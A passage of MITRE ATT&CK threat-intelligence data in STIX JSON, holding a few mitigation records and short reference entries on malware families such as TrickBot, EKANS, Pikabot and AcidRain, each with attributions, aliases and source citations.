programs.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157","type":"course-of-action","created":"2019-06-11T16:43:44.834Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"M1041","url":"https://attack.mitre.org/mitigations/M1041"}],"modified":"2019-06-11T16:43:44.834Z","name":"Encrypt Sensitive Information","description":"Protect sensitive information with strong encryption.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--ff5d862a-ae6b-4833-8c15-e235d654d28e","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1122","url":"https://attack.mitre.org/mitigations/T1122","source_name":"mitre-attack"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"},{"source_name":"TechNet Applocker vs SRP","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","url":"https://technet.microsoft.com/en-us/library/ee791851.aspx"}],"modified":"2020-01-17T16:45:23.056Z","name":"Component Object Model Hijacking Mitigation","description":"Direct mitigation of this technique may not be recommended for a particular environment since COM objects are a legitimate part of the operating system and installed software. Blocking COM object changes may have unforeseen side effects to legitimate functionality.\n\nInstead, identify and block potentially malicious software that may execute, or be executed by, this technique using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-04-04T20:20:59.961Z","name":"HDoor","description":"[HDoor](https://attack.mitre.org/software/S0061) is malware that has been customized and used by the [Naikon](https://attack.mitre.org/groups/G0019) group. (Citation: Baumgartner Naikon 2015)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_aliases":["HDoor","Custom HDoor"],"type":"malware","id":"malware--007b44b6-e4c5-480b-b5b9-56f2081b1b7b","created":"2017-05-31T21:32:40.801Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0061","external_id":"S0061"},{"source_name":"Baumgartner Naikon 2015","description":"Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-10T22:28:21.746Z","name":"TrickBot","description":"[TrickBot](https://attack.mitre.org/software/S0266) is a Trojan spyware program written in C++ that first emerged in September 2016 as a possible successor to [Dyre](https://attack.mitre.org/software/S0024). [TrickBot](https://attack.mitre.org/software/S0266) was developed and initially used by [Wizard Spider](https://attack.mitre.org/groups/G0102) for targeting banking sites in North America, Australia, and throughout Europe; it has since been used against all sectors worldwide as part of \"big game hunting\" ransomware campaigns.(Citation: S2 Grupo TrickBot June 2017)(Citation: Fidelis TrickBot Oct 2016)(Citation: IBM TrickBot Nov 2016)(Citation: CrowdStrike Wizard Spider October 2020)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"2.2","x_mitre_contributors":["Daniyal Naeem, BT Security","Cybereason Nocturnus, @nocturnus","Omkar Gudhate","FS-ISAC"],"x_mitre_aliases":["TrickBot","Totbrick","TSPY_TRICKLOAD"],"type":"malware","id":"malware--00806466-754d-44ea-ad6f-0caf59cb8556","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0266","external_id":"S0266"},{"source_name":"TrickBot","description":"(Citation: S2 Grupo TrickBot June 2017) (Citation: Trend Micro Totbrick Oct 2016) (Citation: TrendMicro Trickbot Feb 2019)"},{"source_name":"TSPY_TRICKLOAD","description":"(Citation: Trend Micro Totbrick Oct 2016)"},{"source_name":"Totbrick","description":"(Citation: Trend Micro Totbrick Oct 2016) (Citation: Microsoft Totbrick Oct 2017)"},{"source_name":"Trend Micro Totbrick Oct 2016","description":"Antazo, F. (2016, October 31). TSPY_TRICKLOAD.N. Retrieved September 14, 2018.","url":"https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/tspy_trickload.n"},{"source_name":"IBM TrickBot Nov 2016","description":"Keshet, L. (2016, November 09). Tricks of the Trade: A Deeper Look Into TrickBot’s Machinations. Retrieved August 2, 2018.","url":"https://securityintelligence.com/tricks-of-the-trade-a-deeper-look-into-trickbots-machinations/"},{"source_name":"TrendMicro Trickbot Feb 2019","description":"Llimos, N., Pascual, C.. (2019, February 12). Trickbot Adds Remote Application Credential-Grabbing Capabilities to Its Repertoire. Retrieved March 12, 2019.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-adds-remote-application-credential-grabbing-capabilities-to-its-repertoire/"},{"source_name":"CrowdStrike Wizard Spider October 2020","description":"Podlosky, A., Hanel, A. et al. (2020, October 16). WIZARD SPIDER Update: Resilient, Reactive and Resolute. Retrieved June 15, 2021.","url":"https://www.crowdstrike.com/blog/wizard-spider-adversary-update/"},{"source_name":"Microsoft Totbrick Oct 2017","description":"Pornasdoro, A. (2017, October 12). Trojan:Win32/Totbrick. Retrieved September 14, 2018.","url":"https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Win32/Totbrick"},{"source_name":"Fidelis TrickBot Oct 2016","description":"Reaves, J. (2016, October 15). TrickBot: We Missed you, Dyre. Retrieved August 2, 2018.","url":"https://www.fidelissecurity.com/threatgeek/2016/10/trickbot-we-missed-you-dyre"},{"source_name":"S2 Grupo TrickBot June 2017","description":"Salinas, M., Holguin, J. (2017, June). Evolution of Trickbot. Retrieved July 31, 2018.","url":"https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["PowerDuke"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a","type":"malware","created":"2017-05-31T21:33:19.746Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0139","external_id":"S0139"},{"source_name":"PowerDuke","description":"(Citation: Volexity PowerDuke November 2016)"},{"source_name":"Volexity PowerDuke November 2016","description":"Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.","url":"https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/"}],"modified":"2020-03-30T17:22:08.256Z","name":"PowerDuke","description":"[PowerDuke](https://attack.mitre.org/software/S0139) is a backdoor that was used by [APT29](https://attack.mitre.org/groups/G0016) in 2016. It has primarily been delivered through Microsoft Word or Excel attachments containing malicious macros. (Citation: Volexity PowerDuke November 2016)","x_mitre_version":"1.2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-08T22:04:48.834Z","name":"EKANS","description":"[EKANS](https://attack.mitre.org/software/S0605) is ransomware variant written in Golang that first appeared in mid-December 2019 and has been used against multiple sectors, including energy, healthcare, and automotive manufacturing, which in some cases resulted in significant operational disruptions. [EKANS](https://attack.mitre.org/software/S0605) has used a hard-coded kill-list of processes, including some associated with common ICS software platforms (e.g., GE Proficy, Honeywell HMIWeb, etc), similar to those defined in [MegaCortex](https://attack.mitre.org/software/S0576).(Citation: Dragos EKANS)(Citation: Palo Alto Unit 42 EKANS)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack","ics-attack"],"x_mitre_version":"2.0","x_mitre_aliases":["EKANS","SNAKEHOSE"],"type":"malware","id":"malware--00e7d565-9883-4ee5-b642-8fd17fd6a3f5","created":"2021-02-12T20:07:42.883Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0605","external_id":"S0605"},{"source_name":"EKANS","description":"(Citation: Dragos EKANS)(Citation: Palo Alto Unit 42 EKANS)(Citation: FireEye Ransomware Feb 2020)"},{"source_name":"SNAKEHOSE","description":"(Citation: FireEye Ransomware Feb 2020)"},{"source_name":"Dragos EKANS","description":"Dragos. (2020, February 3). EKANS Ransomware and ICS Operations. Retrieved February 9, 2021.","url":"https://www.dragos.com/blog/industry-news/ekans-ransomware-and-ics-operations/"},{"source_name":"Palo Alto Unit 42 EKANS","description":"Hinchliffe, A. Santos, D. (2020, June 26). Threat Assessment: EKANS Ransomware. Retrieved February 9, 2021.","url":"https://unit42.paloaltonetworks.com/threat-assessment-ekans-ransomware/"},{"source_name":"FireEye Ransomware Feb 2020","description":"Zafra, D., et al. (2020, February 24). Ransomware Against the Machine: How Adversaries are Learning to Disrupt Industrial Production by Targeting IT and OT. Retrieved March 2, 2021.","url":"https://www.fireeye.com/blog/threat-research/2020/02/ransomware-against-machine-learning-to-disrupt-industrial-production.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T02:51:38.922Z","name":"BLINDINGCAN","description":"[BLINDINGCAN](https://attack.mitre.org/software/S0520) is a remote access Trojan that has been used by the North Korean government since at least early 2020 in cyber operations against defense, engineering, and government organizations in Western Europe and the US.(Citation: US-CERT BLINDINGCAN Aug 2020)(Citation: NHS UK BLINDINGCAN Aug 2020)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_contributors":["Daniyal Naeem, BT Security"],"x_mitre_aliases":["BLINDINGCAN"],"type":"malware","id":"malware--01dbc71d-0ee8-420d-abb4-3dfb6a4bf725","created":"2020-10-27T18:45:58.576Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0520","external_id":"S0520"},{"source_name":"NHS UK BLINDINGCAN Aug 2020","description":"NHS Digital . (2020, August 20). BLINDINGCAN Remote Access Trojan. Retrieved August 20, 2020.","url":"https://digital.nhs.uk/cyber-alerts/2020/cc-3603"},{"source_name":"US-CERT BLINDINGCAN Aug 2020","description":"US-CERT. (2020, August 19). MAR-10295134-1.v1 – North Korean Remote Access Trojan: BLINDINGCAN. Retrieved August 19, 2020.","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-17T22:02:37.451Z","name":"Ninja","description":"[Ninja](https://attack.mitre.org/software/S1100) is a malware developed in C++ that has been used by [ToddyCat](https://attack.mitre.org/groups/G1022) to penetrate networks and control remote systems since at least 2020. [Ninja](https://attack.mitre.org/software/S1100) is possibly part of a post exploitation toolkit exclusively used by [ToddyCat](https://attack.mitre.org/groups/G1022) and allows multiple operators to work simultaneously on the same machine. [Ninja](https://attack.mitre.org/software/S1100) has been used against government and military entities in Europe and Asia and observed in specific infection chains being deployed by [Samurai](https://attack.mitre.org/software/S1099).(Citation: Kaspersky ToddyCat June 2022)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_aliases":["Ninja"],"type":"malware","id":"malware--023254de-caaf-4a05-b2c7-e4e2f283f7a5","created":"2024-01-11T18:40:51.497Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1100","external_id":"S1100"},{"source_name":"Kaspersky ToddyCat June 2022","description":"Dedola, G. (2022, June 21). APT ToddyCat. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat/106799/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-28T19:01:43.612Z","name":"Pikabot","description":"[Pikabot](https://attack.mitre.org/software/S1145) is a backdoor used for initial access and follow-on tool deployment active since early 2023. [Pikabot](https://attack.mitre.org/software/S1145) is notable for extensive use of multiple encoding, encryption, and defense evasion mechanisms to evade defenses and avoid analysis. [Pikabot](https://attack.mitre.org/software/S1145) has some overlaps with [QakBot](https://attack.mitre.org/software/S0650), but insufficient evidence exists to definitively link these two malware families. [Pikabot](https://attack.mitre.org/software/S1145) is frequently used to deploy follow on tools such as [Cobalt Strike](https://attack.mitre.org/software/S0154) or ransomware variants.(Citation: Zscaler Pikabot 2023)(Citation: Elastic Pikabot 2024)(Citation: Logpoint Pikabot 2024)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_contributors":["Inna Danilevich, U.S. Bank"],"x_mitre_aliases":["Pikabot"],"type":"malware","id":"malware--02739f57-7585-4319-acd3-794ae8ff3a70","created":"2024-07-12T19:07:40.654Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1145","external_id":"S1145"},{"source_name":"Zscaler Pikabot 2023","description":"Brett Stone-Gross & Nikolaos Pantazopoulos. (2023, May 24). Technical Analysis of Pikabot. Retrieved July 12, 2024.","url":"https://www.zscaler.com/blogs/security-research/technical-analysis-pikabot"},{"source_name":"Elastic Pikabot 2024","description":"Daniel Stepanic & Salim Bitam. (2024, February 23). PIKABOT, I choose you!. Retrieved July 12, 2024.","url":"https://www.elastic.co/security-labs/pikabot-i-choose-you"},{"source_name":"Logpoint Pikabot 2024","description":"Swachchhanda Shrawan Poudel. (2024, February). Pikabot: 
 A Sophisticated and Modular Backdoor Trojan with Advanced Evasion Techniques. Retrieved July 12, 2024.","url":"https://www.logpoint.com/wp-content/uploads/2024/02/logpoint-etpr-pikabot.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Wiarp"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--039814a0-88de-46c5-a4fb-b293db21880a","type":"malware","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0206","external_id":"S0206"},{"source_name":"Wiarp","description":"(Citation: Symantec Wiarp May 2012)"},{"url":"https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf","description":"O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.","source_name":"Symantec Elderwood Sept 2012"},{"source_name":"Symantec Wiarp May 2012","description":"Zhou, R. (2012, May 15). Backdoor.Wiarp. Retrieved February 22, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2012-051606-1005-99"}],"modified":"2021-01-06T19:32:28.378Z","name":"Wiarp","description":"[Wiarp](https://attack.mitre.org/software/S0206) is a trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Wiarp May 2012)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T00:21:49.455Z","name":"RCSession","description":"[RCSession](https://attack.mitre.org/software/S0662) is a backdoor written in C++ that has been in use since at least 2018 by [Mustang Panda](https://attack.mitre.org/groups/G0129) and by [Threat Group-3390](https://attack.mitre.org/groups/G0027) (Type II Backdoor).(Citation: Secureworks BRONZE PRESIDENT December 2019)(Citation: Trend Micro Iron Tiger April 2021)(Citation: Trend Micro DRBControl February 2020)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_aliases":["RCSession"],"type":"malware","id":"malware--03acae53-9b98-46f6-b204-16b930839055","created":"2021-11-19T19:47:26.552Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0662","external_id":"S0662"},{"source_name":"Secureworks BRONZE PRESIDENT December 2019","description":"Counter Threat Unit Research Team. (2019, December 29). BRONZE PRESIDENT Targets NGOs. Retrieved April 13, 2021.","url":"https://www.secureworks.com/research/bronze-president-targets-ngos"},{"source_name":"Trend Micro Iron Tiger April 2021","description":"Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021.","url":"https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html"},{"source_name":"Trend Micro DRBControl February 2020","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021.","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Spark"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--03ea629c-517a-41e3-94f8-c7e5368cf8f4","type":"malware","created":"2020-12-15T01:30:05.198Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0543","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0543"},{"source_name":"Spark","description":"\n(Citation: Unit42 Molerat Mar 2020) "},{"source_name":"Unit42 Molerat Mar 2020","url":"https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/","description":"Falcone, R., et al. (2020, March 3). Molerats Delivers Spark Backdoor to Government and Telecommunications Organizations. Retrieved December 14, 2020."}],"modified":"2021-08-18T23:49:01.615Z","name":"Spark","description":"\n[Spark](https://attack.mitre.org/software/S0543) is a Windows backdoor and has been in use since as early as 2017.(Citation: Unit42 Molerat Mar 2020) ","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["QuietSieve"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--03eb4a05-6a02-43f6-afb7-3c7835501828","created":"2022-02-18T16:46:39.268Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"S0686","url":"https://attack.mitre.org/software/S0686"},{"source_name":"Microsoft Actinium February 2022","url":"https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/","description":"Microsoft Threat Intelligence Center. (2022, February 4). ACTINIUM targets Ukrainian organizations. Retrieved February 18, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[QuietSieve](https://attack.mitre.org/software/S0686) is an information stealer that has been used by [Gamaredon Group](https://attack.mitre.org/groups/G0047) since at least 2021.(Citation: Microsoft Actinium February 2022)","modified":"2022-04-15T12:31:52.469Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"QuietSieve","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["SynAck"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--04227b24-7817-4de1-9050-b7b1b57f5866","type":"malware","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0242","external_id":"S0242"},{"source_name":"SynAck","description":"(Citation: SecureList SynAck Doppelgänging May 2018) (Citation: Kaspersky Lab SynAck May 2018)"},{"source_name":"SecureList SynAck Doppelgänging May 2018","description":"Ivanov, A. et al. (2018, May 7). SynAck targeted ransomware uses the Doppelgänging technique. Retrieved May 22, 2018.","url":"https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/"},{"source_name":"Kaspersky Lab SynAck May 2018","description":"Bettencourt, J. (2018, May 7). Kaspersky Lab finds new variant of SynAck ransomware using sophisticated Doppelgänging technique. Retrieved May 24, 2018.","url":"https://usa.kaspersky.com/about/press-releases/2018_synack-doppelganging"}],"modified":"2021-09-08T19:22:44.438Z","name":"SynAck","description":"[SynAck](https://attack.mitre.org/software/S0242) is variant of Trojan ransomware targeting mainly English-speaking users since at least fall 2017. (Citation: SecureList SynAck Doppelgänging May 2018) (Citation: Kaspersky Lab SynAck May 2018)","x_mitre_version":"1.3","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-17T17:58:55.921Z","name":"Bumblebee","description":"[Bumblebee](https://attack.mitre.org/software/S1039) is a custom loader written in C++ that has been used by multiple threat actors, including possible initial access brokers, to download and execute additional payloads since at least March 2022. [Bumblebee](https://attack.mitre.org/software/S1039) has been linked to ransomware operations including [Conti](https://attack.mitre.org/software/S0575), Quantum, and Mountlocker and derived its name from the appearance of \"bumblebee\" in the user-agent.(Citation: Google EXOTIC LILY March 2022)(Citation: Proofpoint Bumblebee April 2022)(Citation: Symantec Bumblebee June 2022)\n","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_contributors":["Phill Taylor, BT Security"],"x_mitre_aliases":["Bumblebee"],"type":"malware","id":"malware--04378e79-4387-468a-a8f7-f974b8254e44","created":"2022-08-19T20:28:36.981Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1039","external_id":"S1039"},{"source_name":"Symantec Bumblebee June 2022","description":"Kamble, V. (2022, June 28). Bumblebee: New Loader Rapidly Assuming Central Position in Cyber-crime Ecosystem. Retrieved August 24, 2022.","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bumblebee-loader-cybercrime"},{"source_name":"Proofpoint Bumblebee April 2022","description":"Merriman, K. and Trouerbach, P. (2022, April 28). This isn't Optimus Prime's Bumblebee but it's Still Transforming. Retrieved August 22, 2022.","url":"https://www.proofpoint.com/us/blog/threat-insight/bumblebee-is-still-transforming"},{"source_name":"Google EXOTIC LILY March 2022","description":"Stolyarov, V. (2022, March 17). Exposing initial access broker with ties to Conti. Retrieved August 18, 2022.","url":"https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["MURKYTOP"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--049ff071-0b3c-4712-95d2-d21c6aa54501","type":"malware","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0233","external_id":"S0233"},{"source_name":"MURKYTOP","description":"(Citation: FireEye Periscope March 2018)"},{"url":"https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html","description":"FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.","source_name":"FireEye Periscope March 2018"}],"modified":"2020-03-30T17:00:19.828Z","name":"MURKYTOP","description":"[MURKYTOP](https://attack.mitre.org/software/S0233) is a reconnaissance tool used by [Leviathan](https://attack.mitre.org/groups/G0065). (Citation: FireEye Periscope March 2018)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-12T10:20:50.199Z","name":"AcidRain","description":"[AcidRain](https://attack.mitre.org/software/S1125) is an ELF binary targeting modems and routers using MIPS architecture.(Citation: AcidRain JAGS 2022) [AcidRain](https://attack.mitre.org/software/S1125) is associated with the ViaSat KA-SAT communication outage that took place during the initial phases of the 2022 full-scale invasion of Ukraine. Analysis indicates overlap with another network device-targeting malware, VPNFilter, associated with [Sandworm Team](https://attack.mitre.org/groups/G0034).(Citation: AcidRain JAGS 2022) US and European government sources linked [AcidRain](https://attack.mitre.org/software/S1125) to Russian government entities, while Ukrainian government sources linked [AcidRain](https://attack.mitre.org/software/S1125) specifically to [Sandworm Team](https://attack.mitre.org/groups/G0034).(Citation: AcidRain State Department 2022)(Citation: Vincens AcidPour 2024)","x_mitre_platforms":["Network","Linux"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_aliases":["AcidRain"],"type":"malware","id":"malware--04cecafd-cb5f-4daf-aa1f-73899116c4a2","created":"2024-03-25T15:27:08.214Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1125","external_id":"S1125"},{"source_name":"Vincens AcidPour 2024","description":"A.J. Vincens, CyberScoop. (2024, March 18). Researchers spot updated version of malware that hit Viasat. Retrieved March 25, 2024.","url":"https://cyberscoop.com/viasat-malware-wiper-acidrain/"},{"source_name":"AcidRain State Department 2022","description":"Antony J. Blinken, US Department of State. (2022, May 10). Attribution of Russia’s Malicious Cyber Activity Against Ukraine. Retrieved March 25, 